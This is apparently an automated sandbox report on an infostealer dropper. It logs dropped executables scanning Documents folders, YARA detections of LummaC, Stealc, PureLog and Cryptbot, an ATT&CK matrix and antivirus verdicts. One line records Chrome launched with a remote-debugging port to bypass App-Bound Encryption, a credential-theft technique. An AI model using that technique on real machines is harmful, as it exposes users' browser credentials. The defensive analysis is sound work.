Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: C:\Users\user\Documents

Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: number of queries: 2002
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: number of queries: 1001

Source: Yara match	File source: 0000000F.00000003.2227019711.000000000108C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2221194978.000000000108C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bfa374134d.exe PID: 6976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bfa374134d.exe PID: 7396, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 2f7f14fa8e.exe PID: 8016, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: bfa374134d.exe PID: 6976, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bfa374134d.exe PID: 7396, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 44.0.fae24101ae.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002C.00000000.2196706188.0000000000922000.00000002.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 00000008.00000003.1815284167.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2009852961.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1871163393.00000000014AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1862764887.0000000000031000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2123568208.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2097143287.0000000000031000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f48847f8be.exe PID: 3108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f48847f8be.exe PID: 1432, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	21 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	246 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	12 Process Injection	12 Software Packing	NTDS	971 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	12 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	381 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Bypass User Account Control	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	381 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	12 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1016947001\8639af97b9.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016950001\741343eac3.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016946001\02a06b55a8.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\6LLT7I405VVFPGR4K34JYO7L59M7E3.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\x0qQ2DH[1].exe	100%	Avira	HEUR/AGEN.1329620
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1016948001\3ca19a76c8.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016949001\093821f656.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1016945001\x0qQ2DH.exe	100%	Avira	HEUR/AGEN.1329620
C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016942001\dca2c3185c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016947001\8639af97b9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016950001\741343eac3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016946001\02a06b55a8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6LLT7I405VVFPGR4K34JYO7L59M7E3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\x0qQ2DH[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe	100%	Joe Sandbox ML
